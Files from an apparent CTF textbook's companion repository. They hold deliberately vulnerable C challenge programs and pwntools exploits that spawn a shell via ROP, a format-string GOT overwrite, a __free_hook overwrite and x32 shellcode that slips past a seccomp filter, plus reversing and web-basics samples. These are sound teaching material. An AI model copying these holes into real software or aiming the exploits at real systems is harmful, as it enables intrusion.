8 | 9 | binf = ELF(bin_file) 10 | 11 | libc = binf.libc 12 | offset_libc_malloc_hook = libc.symbols['__malloc_hook'] 13 | offset_libc_mainarena = offset_libc_malloc_hook + 0x10 14 | 15 | def attack(conn, **kwargs): 16 | conn.sendlineafter('size', str(0x418)) 17 | conn.sendlineafter('size', str(0x18)) 18 | conn.sendlineafter('size', str(0x18)) 19 | 20 | conn.sendlineafter('index >> ', '0') 21 | conn.recvuntil('content : ') 22 | addr_libc_mainarena = unpack(conn.recv(6), 'all') - 0x60 23 | libc.address = addr_libc_mainarena - offset_libc_mainarena 24 | info('addr_libc_base = 0x{:08x}'.format(libc.address)) 25 | addr_libc_free_hook = libc.symbols['__free_hook'] 26 | addr_libc_system = libc.functions['system'].address 27 | 28 | conn.sendlineafter('index >> ', '2') 29 | conn.sendline(pack(addr_libc_free_hook)) 30 | 31 | conn.sendlineafter('size', str(0x18)) 32 | conn.sendlineafter('content >> ', '/bin/sh\x00') 33 | conn.sendlineafter('size', str(0x18)) 34 | conn.sendlineafter('content >> ', pack(addr_libc_system)) 35 | 36 | def main(): 37 | # conn = gdb.debug(bin_file) 38 | conn = process(bin_file) 39 | attack(conn) 40 | conn.interactive() 41 | 42 | if __name__=='__main__': 43 | main() 44 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/resolve/chall_resolve: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/99_challs/resolve/chall_resolve -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/resolve/chall_resolve.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void){ 5 | char msg[0x10] = {}; 6 | void **p; 7 | 8 | setbuf(stdout, NULL); 9 | 10 | printf("Input message >> "); 11 | fgets(msg, 0x80, stdin); 12 | 13 | printf("Input address >> "); 14 | scanf("%p", &p); 15 | printf("Input value >> "); 16 | scanf("%p", p); 17 | 18 | return 0; 19 | } 20 | 21 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/resolve/exploit_resolve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | bin_file = './chall_resolve' 5 | context(os = 'linux', arch = 'amd64') 6 | # context(terminal = ['tmux', 'splitw', '-v']) 7 | # context.log_level = 'debug' 8 | 9 | binf = ELF(bin_file) 10 | addr_main = binf.functions['main'].address 11 | addr_got_setbuf = binf.got['setbuf'] 12 | addr_got_scf = binf.got['__stack_chk_fail'] 13 | addr_bss = binf.bss() 14 | 15 | libc = binf.libc 16 | offset_libc_setbuf = libc.functions['setbuf'].address 17 | 18 | def attack(conn, **kwargs): 19 | rop = ROP(binf) 20 | rop.raw(rop.ret) 21 | rop.printf(addr_got_setbuf) 22 | rop.raw(rop.ret) 23 | rop.main() 24 | 25 | conn.sendlineafter('>> ', pack(0xdeadbeef) + bytes(rop)) 26 | conn.sendlineafter('>> ', str(hex(addr_got_scf))) 27 | conn.sendafter('>> ', str(hex(rop.r12_r13_r14_r15.address))) 28 | conn.send(pack(0xcafebabe)) 29 | 30 | addr_libc_setbuf = unpack(conn.recv(6), 'all') 31 | libc.address = addr_libc_setbuf - offset_libc_setbuf 32 | info('addr_libc_base = 0x{:08x}'.format(libc.address)) 33 | addr_libc_str_sh = next(libc.search(b'/bin/sh')) 34 | 35 | rop = ROP(libc) 36 | rop.raw(rop.ret) 37 | rop.system(addr_libc_str_sh) 38 | 39 | conn.sendlineafter('>> ', bytes(rop)) 40 | conn.sendlineafter('>> ', str(hex(addr_bss))) 41 | conn.sendlineafter('>> ', '0') 42 | 43 | def main(): 44 | # conn = gdb.debug(bin_file) 45 | conn = process(bin_file) 46 | attack(conn) 47 | conn.interactive() 48 | 49 | if __name__=='__main__': 50 | main() 51 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/shellcode/chall_shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/99_challs/shellcode/chall_shellcode -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/shellcode/chall_shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(void){ 12 | struct sock_filter filter[] = { 13 | BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))), 14 | BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0), 15 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), 16 | 17 | BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), 18 | BPF_STMT(BPF_ALU | BPF_AND | BPF_K, (~__X32_SYSCALL_BIT)), 19 | BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 1, 0), 20 | BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 0, 1), 21 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), 22 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), 23 | }; 24 | 25 | struct sock_fprog prog = { 26 | .len = (unsigned short) (sizeof(filter) / sizeof(struct sock_filter)), 27 | .filter = filter, 28 | }; 29 | 30 | prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); 31 | prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog); 32 | 33 | char buf[0x100] = {}; 34 | void (*p)(); 35 | 36 | if((p = mmap((void*)0x20000, 0x1000, 37 | PROT_READ | PROT_WRITE | PROT_EXEC, 38 | MAP_PRIVATE | MAP_ANONYMOUS, 39 | -1, 0)) == MAP_FAILED) 40 | return -1; 41 | 42 | setbuf(stdout, NULL); 43 | printf("Give me shellcode >> "); 44 | fgets(buf, sizeof(buf), stdin); 45 | strncpy((char*)p, buf, sizeof(buf)); 46 | p(); 47 | } 48 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/shellcode/shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/99_challs/shellcode/shellcode.bin -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/shellcode/shellcode.s: -------------------------------------------------------------------------------- 1 | BITS 64 2 | global _start 3 | 4 | _start: 5 | lea rdi, [rel $] 6 | add dil, 0x1f ; pathname = "/bin/sh" 7 | xor rsi, rsi ; argv = NULL 8 | xor rdx, rdx ; envp = NULL 9 | 10 | xor rax, rax 11 | inc eax 12 | shl eax, 30 ; __X32_SYSCALL_BIT 13 | mov ax, 0x208 ; x32_execve 14 | syscall 15 | 16 | fname: 17 | db "/bin/sh", 0x00 18 | db 0x0a 19 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/stack/chall_stack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/99_challs/stack/chall_stack -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/stack/chall_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void){ 5 | char msg[0x10] = {}; 6 | 7 | setbuf(stdout, NULL); 8 | 9 | puts("You can put message 4 times!"); 10 | for(int i=0; i<4; i++){ 11 | printf("Input (%d/4) >> ", i+1); 12 | read(STDIN_FILENO, msg, 0x70); 13 | printf("Output : %s\n", msg); 14 | } 15 | puts("Bye!"); 16 | 17 | return 0; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/stack/exploit_stack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | bin_file = './chall_stack' 5 | context(os = 'linux', arch = 'amd64') 6 | # context(terminal = ['tmux', 'splitw', '-v']) 7 | # context.log_level = 'debug' 8 | 9 | binf = ELF(bin_file) 10 | offset_main = binf.functions['main'].address 11 | 12 | def attack(conn, **kwargs): 13 | conn.sendafter('>> ', b'a'*0x18+b'!') 14 | conn.recvuntil('a!') 15 | canary = unpack(b'\x00' + conn.recv(7)) 16 | info('canary = 0x{:08x}'.format(canary)) 17 | 18 | conn.sendafter('>> ', b'b'*0x3f+b'!') 19 | conn.recvuntil('b!') 20 | addr_stack = unpack(conn.recv(6), 'all') - 0x158 21 | info('addr_stack = 0x{:08x}'.format(addr_stack)) 22 | 23 | conn.sendafter('>> ', b'c'*0x47+b'!') 24 | conn.recvuntil('c!') 25 | addr_main = unpack(conn.recv(6), 'all') 26 | binf.address = addr_main - offset_main 27 | info('addr_bin_base = 0x{:08x}'.format(binf.address)) 28 | 29 | rop = ROP(binf) 30 | 31 | exploit = b'/bin/sh'.ljust(0x18, b'\x00') 32 | exploit += pack(canary) 33 | exploit += pack(0xdeadbeef) 34 | exploit += flat(rop.rdi.address, addr_stack) 35 | exploit += flat(rop.rsi.address, 0) 36 | exploit += flat(rop.rdx.address, 0) 37 | exploit += flat(rop.rax.address, constants.SYS_execve) 38 | exploit += pack(rop.syscall.address) 39 | conn.sendafter('>> ', exploit) 40 | 41 | def main(): 42 | # conn = gdb.debug(bin_file) 43 | conn = process(bin_file) 44 | attack(conn) 45 | conn.interactive() 46 | 47 | if __name__=='__main__': 48 | main() 49 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/vulnfunc/chall_vulnfunc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/99_challs/vulnfunc/chall_vulnfunc -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/vulnfunc/chall_vulnfunc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void){ 6 | char buf[0x30] = {}; 7 | 8 | setbuf(stdout, NULL); 9 | 10 | puts("Input message"); 11 | read(STDIN_FILENO, buf, sizeof(buf)); 12 | printf(buf); 13 | exit(0); 14 | } 15 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/vulnfunc/exploit_vulnfunc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | bin_file = './chall_vulnfunc' 5 | context(os = 'linux', arch = 'amd64') 6 | # context(terminal = ['tmux', 'splitw', '-v']) 7 | # context.log_level = 'debug' 8 | 9 | binf = ELF(bin_file) 10 | addr_main = binf.functions['main'].address 11 | addr_got_exit = binf.got['exit'] 12 | addr_got_printf = binf.got['printf'] 13 | 14 | libc = binf.libc 15 | offset_libc_read = libc.functions['read'].address 16 | 17 | def attack(conn, **kwargs): 18 | overwrite = {addr_got_exit : addr_main} 19 | exploit = fmtstr_payload(6, overwrite, numbwritten = 0, write_size = 'short') 20 | conn.sendafter('message\n', exploit) 21 | 22 | conn.sendlineafter('message\n', '%3$p') 23 | addr_libc_read = int(conn.recvline(keepends=False), 16) - 0x12 24 | libc.address = addr_libc_read - offset_libc_read 25 | info('addr_libc_base = 0x{:08x}'.format(libc.address)) 26 | addr_libc_system = libc.functions['system'].address 27 | 28 | exploit = '%{}c'.format((addr_libc_system >> 16) & 0xff) 29 | exploit += '%10$hhn' 30 | exploit += '%{}c'.format((addr_libc_system & 0xffff) - ((addr_libc_system >> 16) & 0xff)) 31 | exploit += '%11$hn' 32 | exploit = exploit.ljust(0x20, 'x').encode() 33 | exploit += flat(addr_got_printf+2, addr_got_printf) # 10, 11 34 | conn.sendafter('message\n', exploit) 35 | conn.sendafter('message\n', '/bin/sh') 36 | 37 | def main(): 38 | # conn = gdb.debug(bin_file) 39 | conn = process(bin_file) 40 | attack(conn) 41 | conn.interactive() 42 | 43 | if __name__=='__main__': 44 | main() 45 | -------------------------------------------------------------------------------- /dist/files/rev/01_introduction/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/rev/01_introduction/program -------------------------------------------------------------------------------- /dist/files/rev/04_static/Makefile: -------------------------------------------------------------------------------- 1 | program: source.c 2 | gcc source.c -o program -no-pie 3 | 4 | optimized-program: source.c 5 | gcc source.c -o optimized-program -no-pie -O3 6 | -------------------------------------------------------------------------------- /dist/files/rev/04_static/optimized-program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/rev/04_static/optimized-program -------------------------------------------------------------------------------- /dist/files/rev/04_static/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/rev/04_static/program -------------------------------------------------------------------------------- /dist/files/rev/04_static/source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char **argv) { 5 | int i; 6 | 7 | if (argc == 2) { 8 | if (atoi(argv[1]) == 777) { 9 | puts("Passcode is correct!"); 10 | } else { 11 | puts("Passcode is wrong..."); 12 | } 13 | } else { 14 | printf("Usage: %s [passcode]\n", argv[0]); 15 | } 16 | 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /dist/files/rev/05_dynamic/Makefile: -------------------------------------------------------------------------------- 1 | program: source.c 2 | gcc source.c -o program -no-pie 3 | -------------------------------------------------------------------------------- /dist/files/rev/05_dynamic/calc_password.py: -------------------------------------------------------------------------------- 1 | flist = [6, 9, 7, 11, 5, 1, 5, 5, 2, 14, 3, 3, 0, 0, 1, 7, 14, 4, 15, 11] 2 | 3 | def func(i): 4 | return (flist[i*2]^i)*16 + (flist[i*2+1]^(i+1)) 5 | 6 | password = '' 7 | for i in range(10): 8 | password += chr(func(i)) 9 | 10 | print(password) 11 | -------------------------------------------------------------------------------- /dist/files/rev/05_dynamic/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/rev/05_dynamic/program -------------------------------------------------------------------------------- /dist/files/rev/05_dynamic/program.dif: -------------------------------------------------------------------------------- 1 | This difference file has been created by IDA 2 | 3 | program 4 | 000000000000076F: 74 75 5 | -------------------------------------------------------------------------------- /dist/files/rev/05_dynamic/source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | unsigned int flist[] = { 5 | 6, 9, 7, 11, 5, 1, 5, 5, 2, 14, 3, 3, 0, 0, 1, 7, 14, 4, 15, 11 6 | }; 7 | 8 | unsigned char func(int i) { 9 | return (flist[i*2] ^ i) * 16 + (flist[i*2+1] ^ (i+1)); 10 | } 11 | 12 | int authenticate(const unsigned char *password) { 13 | int i, len = strlen(password); 14 | 15 | if (len != 10) { 16 | return 0; 17 | } 18 | 19 | for(i = 0; i < len; i++) { 20 | if (password[i] != func(i)) { 21 | return 0; 22 | } 23 | } 24 | 25 | return 1; 26 | } 27 | 28 | int main(int argc, char **argv) { 29 | char password[0x20]; 30 | 31 | printf("Enter password: "); 32 | scanf("%31s", password); 33 | 34 | if (authenticate(password)) { 35 | puts("Password is correct!"); 36 | } else { 37 | puts("Password is wrong..."); 38 | } 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/angr/angrsolve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # プロジェクトの作成 5 | p = angr.Project("./program", load_options={"auto_load_libs": False}) 6 | # 10バイトの入力codeを作成 7 | code = claripy.BVS("code", 8 * 10) 8 | # 初期状態を通常実行の最初の状態とする 9 | state = p.factory.entry_state(stdin=code) # 標準入力をcodeとする 10 | simgr = p.factory.simulation_manager(state) 11 | 12 | # 解を探索する 13 | simgr.explore(find=0x4006f9, avoid=0x400707) 14 | try: 15 | found = simgr.found[0] 16 | # 0x4006f9に到達できるような入力codeを表示 17 | print(found.solver.eval(code, cast_to=bytes)) 18 | except IndexError: 19 | print("Not Found") 20 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/detection/ptrace.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int is_debugged() 4 | { 5 | if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) { 6 | return 1; // ptraceが失敗したのでデバッガが使われている 7 | } else { 8 | return 0; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/detection/tracer_pid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define MAX_CHAR_PER_LINE 0x100 8 | 9 | /* 自身のTracerPidを取得する */ 10 | int gettpid(void) { 11 | int fd, i, s; 12 | char line[MAX_CHAR_PER_LINE], c; 13 | 14 | /* /proc/self/statusを開く */ 15 | fd = open("/proc/self/status", O_RDONLY); 16 | if (fd == -1) 17 | return -1; 18 | 19 | do { 20 | /* 1行読む */ 21 | for (i = 0; (s = read(fd, &c, 1)) == 1; i++) { 22 | if (c == '\n') 23 | break; 24 | if (i < MAX_CHAR_PER_LINE) 25 | line[i] = c; 26 | } 27 | 28 | /* TracerPidを調べる */ 29 | if (strncmp(line, "TracerPid:", 10) == 0) { 30 | close(fd); 31 | return atoi(&line[10]); 32 | } 33 | } while(s == 1); 34 | 35 | close(fd); 36 | return -1; 37 | } 38 | 39 | int main() { 40 | int tpid = gettpid(); 41 | 42 | if (tpid == -1) { 43 | puts("Unknown"); 44 | } else if (tpid == 0) { 45 | puts("Not Attached"); 46 | } else { 47 | printf("Attached by [PID=%d]\n", tpid); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/obfuscation/Makefile: -------------------------------------------------------------------------------- 1 | sample: sample.S 2 | nasm -fELF64 ./sample.S -o sample.o 3 | ld -dynamic-linker /lib64/ld-linux-x86-64.so.2 -lc sample.o -o sample 4 | strip --strip-all ./sample 5 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/obfuscation/sample: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/rev/06_advanced/obfuscation/sample -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/obfuscation/sample.S: -------------------------------------------------------------------------------- 1 | extern puts 2 | extern exit 3 | 4 | global _start 5 | section .text 6 | 7 | _start: 8 | call obfuscated 9 | xor edi, edi 10 | call exit 11 | 12 | obfuscated: 13 | push rbp 14 | mov rbp, rsp 15 | ; blahblah 16 | db 0x48, 0xB8 17 | .@Label: 18 | db 0xE8, 0x09, 0x00, 0x00, 0x00, 0xC9, 0xC3, 0x90 19 | xor edx, edx 20 | jz .@Label 21 | leave 22 | ret 23 | 24 | evil: 25 | mov rdi, evilMessage 26 | call puts 27 | ret 28 | 29 | section .data 30 | evilMessage: db "Evil function!", 0x00 31 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/patch/patch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import re 4 | 5 | def patch(target, diff, rollback=False): 6 | for line in diff.split('\n'): 7 | r = re.findall(r'([0-9A-Fa-f]+): ([0-9A-Fa-f]{2}) ([0-9A-Fa-f]{2})', 8 | line) 9 | if len(r) == 1: 10 | offset, before, after = map( 11 | lambda x: int(x, 16), r[0] 12 | ) 13 | if rollback: 14 | assert target[offset] == after 15 | target = target[:offset] + bytes([before]) + target[offset+1:] 16 | else: 17 | assert target[offset] == before 18 | target = target[:offset] + bytes([after]) + target[offset+1:] 19 | 20 | return target 21 | 22 | if __name__ == '__main__': 23 | if len(sys.argv) < 3: 24 | print("Usage: {} binary diff [restore]".format(sys.argv[0])) 25 | sys.exit(1) 26 | 27 | else: 28 | # 変更対象のファイルを開く 29 | try: 30 | with open(sys.argv[1], "rb") as f: 31 | target = f.read() 32 | except: 33 | print("[-] {}: No such file".format(sys.argv[1])) 34 | sys.exit(1) 35 | # DIFファイルを開く 36 | try: 37 | with open(sys.argv[2], "r") as f: 38 | diff = f.read() 39 | except: 40 | print("[-] {}: No such file".format(sys.argv[1])) 41 | sys.exit(1) 42 | 43 | try: 44 | if len(sys.argv) >= 4 and sys.argv[3] == "restore": 45 | # 変更を元に戻す 46 | target = patch(target, diff, True) 47 | print("[+] patch: Successfully restored") 48 | else: 49 | # 変更を適用する 50 | target = patch(target, diff, False) 51 | print("[+] patch: Successfully modified") 52 | except AssertionError: 53 | print("[-] Patch is not written for this binary") 54 | sys.exit(1) 55 | 56 | with open(sys.argv[1], "wb") as f: 57 | f.write(target) 58 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/z3/z3_find_all.py: -------------------------------------------------------------------------------- 1 | from z3 import * 2 | 3 | s = Solver() 4 | n = BitVec("code", 32) # 32-bitのビット列とする 5 | 6 | # 普通の変数のように扱える 7 | a = n & 0xff 8 | b = (n >> 8) & 0xff 9 | c = (n >> 16) & 0xff 10 | d = (n >> 24) & 0xff 11 | 12 | # 制約を追加 13 | s.add(And( # ブール式の積はAndを使う 14 | a + b + c + d == 824, 15 | a - b + c - d == 0, 16 | a * b + c * d == 83816, 17 | a * b - c * d == 7004 18 | )) 19 | 20 | while True: 21 | r = s.check() 22 | if r == sat: 23 | # 解が見つかった 24 | m = s.model() 25 | else: 26 | # 解が存在しない 27 | print("[-] Solution not found") 28 | exit(1) 29 | 30 | answer = m[n].as_long() 31 | print("[+] CODE: {0} (0x{0:x})".format(answer)) 32 | 33 | s.add(n != answer) 34 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/z3/z3sample.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int check_input(unsigned int n) { 4 | int a, b, c, d; 5 | a = n & 0xff; 6 | b = (n >> 8) & 0xff; 7 | c = (n >> 16) & 0xff; 8 | d = (n >> 24) & 0xff; 9 | if ((a + b + c + d == 824) 10 | && (a - b + c - d == 0) 11 | && (a * b + c * d == 83816) 12 | && (a * b - c * d == 7004)) { 13 | return 1; 14 | } else { 15 | return 0; 16 | } 17 | } 18 | 19 | int main() { 20 | unsigned int code; 21 | printf("CODE: "); 22 | scanf("%u", &code); 23 | if (check_input(code)) { 24 | puts("Correct!"); 25 | } else { 26 | puts("Wrong..."); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /dist/files/rev/06_advanced/z3/z3solve.py: -------------------------------------------------------------------------------- 1 | from z3 import * 2 | 3 | s = Solver() 4 | n = BitVec("code", 32) # 32-bitのビット列とする 5 | 6 | # 普通の変数のように扱える 7 | a = n & 0xff 8 | b = (n >> 8) & 0xff 9 | c = (n >> 16) & 0xff 10 | d = (n >> 24) & 0xff 11 | 12 | # 制約を追加 13 | s.add(And( # ブール式の積はAndを使う 14 | a + b + c + d == 824, 15 | a - b + c - d == 0, 16 | a * b + c * d == 83816, 17 | a * b - c * d == 7004 18 | )) 19 | 20 | r = s.check() 21 | if r == sat: 22 | # 解が見つかった 23 | m = s.model() 24 | else: 25 | # 解が存在しない 26 | print("[-] Solution not found") 27 | exit(1) 28 | 29 | answer = m[n].as_long() 30 | print("[+] CODE: {0} (0x{0:x})".format(answer)) 31 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/MySQL/db/init/init.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS db; 2 | 3 | use db; 4 | 5 | CREATE TABLE IF NOT EXISTS fruits( 6 | id INT NOT NULL AUTO_INCREMENT, 7 | name TEXT, 8 | PRIMARY KEY (id) 9 | ); 10 | 11 | CREATE TABLE IF NOT EXISTS price_fruits( 12 | id INT NOT NULL AUTO_INCREMENT, 13 | fruit_id INT, 14 | price INT, 15 | PRIMARY KEY (id), 16 | FOREIGN KEY (fruit_id) REFERENCES fruits(id) ON DELETE CASCADE 17 | ); 18 | 19 | 20 | INSERT INTO fruits(id, name) VALUES(1, 'mandarin'); 21 | INSERT INTO fruits(id, name) VALUES(2, 'strawberry'); 22 | INSERT INTO fruits(id, name) VALUES(3, 'melon'); 23 | 24 | INSERT INTO price_fruits(id, fruit_id, price) VALUES(1, 1, 100); 25 | INSERT INTO price_fruits(id, fruit_id, price) VALUES(2, 2, 200); 26 | INSERT INTO price_fruits(id, fruit_id, price) VALUES(3, 3, 1000); 27 | 28 | 29 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/MySQL/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | 5 | db: 6 | image: mysql:5 7 | restart: always 8 | environment: 9 | MYSQL_ROOT_PASSWORD: password 10 | MYSQL_DATABASE: db 11 | MYSQL_USER: user 12 | MYSQL_PASSWORD: password 13 | volumes: 14 | - ./db/init:/docker-entrypoint-initdb.d 15 | 16 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/browsersec/fetch-weather.html: -------------------------------------------------------------------------------- 1 | 2 | ... 3 | 4 | 5 | 6 |
7 |
8 | 9 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/burp/app-for-decoder.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import random 3 | 4 | from flask import Flask, request 5 | 6 | app = Flask(__name__) 7 | 8 | 9 | 10 | @app.route('/') 11 | def index(): 12 | return f''' 13 | 14 | 15 | 16 |
17 | 18 | 19 |
20 | 21 | ''' 22 | 23 | @app.route('/api', methods=['POST']) 24 | def api(): 25 | if request.form['passcode'] == 'correct_passcode': 26 | return 'Correct!' 27 | else: 28 | return 'Wrong...' 29 | 30 | if __name__ == '__main__': 31 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/02_basics/burp/app-for-intruder.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | from flask import Flask, request, Response 5 | 6 | app = Flask(__name__) 7 | 8 | users = [{ 9 | 'name': 'Alice', 10 | 'password': random.choice(string.ascii_lowercase), 11 | }, { 12 | 'name': 'Bob', 13 | 'password': random.choice(string.ascii_lowercase), 14 | }, { 15 | 'name': 'Charlie', 16 | 'password': random.choice(string.ascii_lowercase), 17 | }] 18 | 19 | @app.route('/') 20 | def index(): 21 | return ''' 22 | 23 | 24 | 25 |
26 | Name: 27 | Password: 28 | 29 |
30 | 31 | ''' 32 | 33 | @app.route('/api', methods=['POST']) 34 | def api(): 35 | name = request.form['name'] 36 | password = request.form['password'] 37 | 38 | if name not in list(map(lambda user: user['name'], users)): 39 | return Response(status=401, response='Incorrect.') 40 | 41 | user_index = list(map(lambda user: user['name'], users)).index(name) 42 | target_user = users[user_index] 43 | 44 | if target_user['password'] == password: 45 | return Response(status=200, response=f'Logged in as {target_user["name"]}.') 46 | else: 47 | return Response(status=401, response='Incorrect.') 48 | 49 | if __name__ == '__main__': 50 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/02_basics/burp/app-for-proxy-and-repeater.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route('/') 6 | def index(): 7 | return ''' 8 | 9 | 10 | 11 |
12 | 13 | 14 |
15 | 16 | ''' 17 | 18 | @app.route('/api', methods=['POST']) 19 | def api(): 20 | if request.form['passcode'] == 'correct_passcode': 21 | return 'Correct!' 22 | else: 23 | return 'Wrong...' 24 | 25 | if __name__ == '__main__': 26 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/02_basics/client/fetch-header.js: -------------------------------------------------------------------------------- 1 | // ヘッダーの設定 2 | const headers = { 3 | 'MY_HEADER': 'CTF_IS_FUN' 4 | } 5 | 6 | fetch('http://localhost:5000', { headers }) 7 | .then(response => { 8 | if (response.ok) { 9 | return response.text() 10 | } else { 11 | throw new Error() 12 | } 13 | }) 14 | .then(text => console.log(text)) 15 | .catch(error => console.error(error)) -------------------------------------------------------------------------------- /dist/files/web/02_basics/client/fetch-post.js: -------------------------------------------------------------------------------- 1 | // ヘッダーの設定 2 | // メッセージボディーに含まれるエンティティがJSONであることを示す 3 | const headers = { 4 | 'Content-Type': 'application/json' 5 | } 6 | const method = 'POST' // メソッドの設定 7 | const body = JSON.stringify({ // メッセージボディーの設定 8 | ctf: 'book' 9 | }) 10 | 11 | fetch('http://localhost:5000', { headers, method, body }) 12 | .then(response => { 13 | if (response.ok) { 14 | return response.text() 15 | } else { 16 | throw new Error() 17 | } 18 | }) 19 | .then(text => console.log(text)) 20 | .catch(error => console.error(error)) -------------------------------------------------------------------------------- /dist/files/web/02_basics/client/fetch.js: -------------------------------------------------------------------------------- 1 | // 1. URIを指定する(後述のオプションを指定しない場合はGETリクエストが送信される) 2 | fetch('http://localhost:5000') 3 | // 2. レスポンスを受け取った際の処理の定義 4 | .then(response => { 5 | if (response.ok) { 6 | return response.text() 7 | } else { 8 | throw new Error() 9 | } 10 | }) 11 | .then(text => console.log(text)) // 3. レスポンスを正常にテキストに変換できた際の処理の定義 12 | .catch(error => console.error(error)) // 4. レスポンスがエラーであった場合の処理の定義 -------------------------------------------------------------------------------- /dist/files/web/02_basics/client/requests-get1.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | response = requests.get('http://localhost:5000') 4 | 5 | if response.status_code == 200: 6 | print('[200 OK]', response.text) 7 | else: 8 | print('[ERROR]', response.status_code) -------------------------------------------------------------------------------- /dist/files/web/02_basics/client/requests-get2.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | headers = {'MY_HEADER': 'CTF_IS_FUN'} 4 | params = {'my_query': '123'} 5 | cookies = {'MY_COOKIE': 'abc'} 6 | 7 | response = requests.get('http://localhost:5000', 8 | headers=headers, params=params, cookies=cookies) 9 | 10 | if response.status_code == 200: 11 | print('[200 OK]', response.text) 12 | else: 13 | print('[ERROR]', response.status_code) 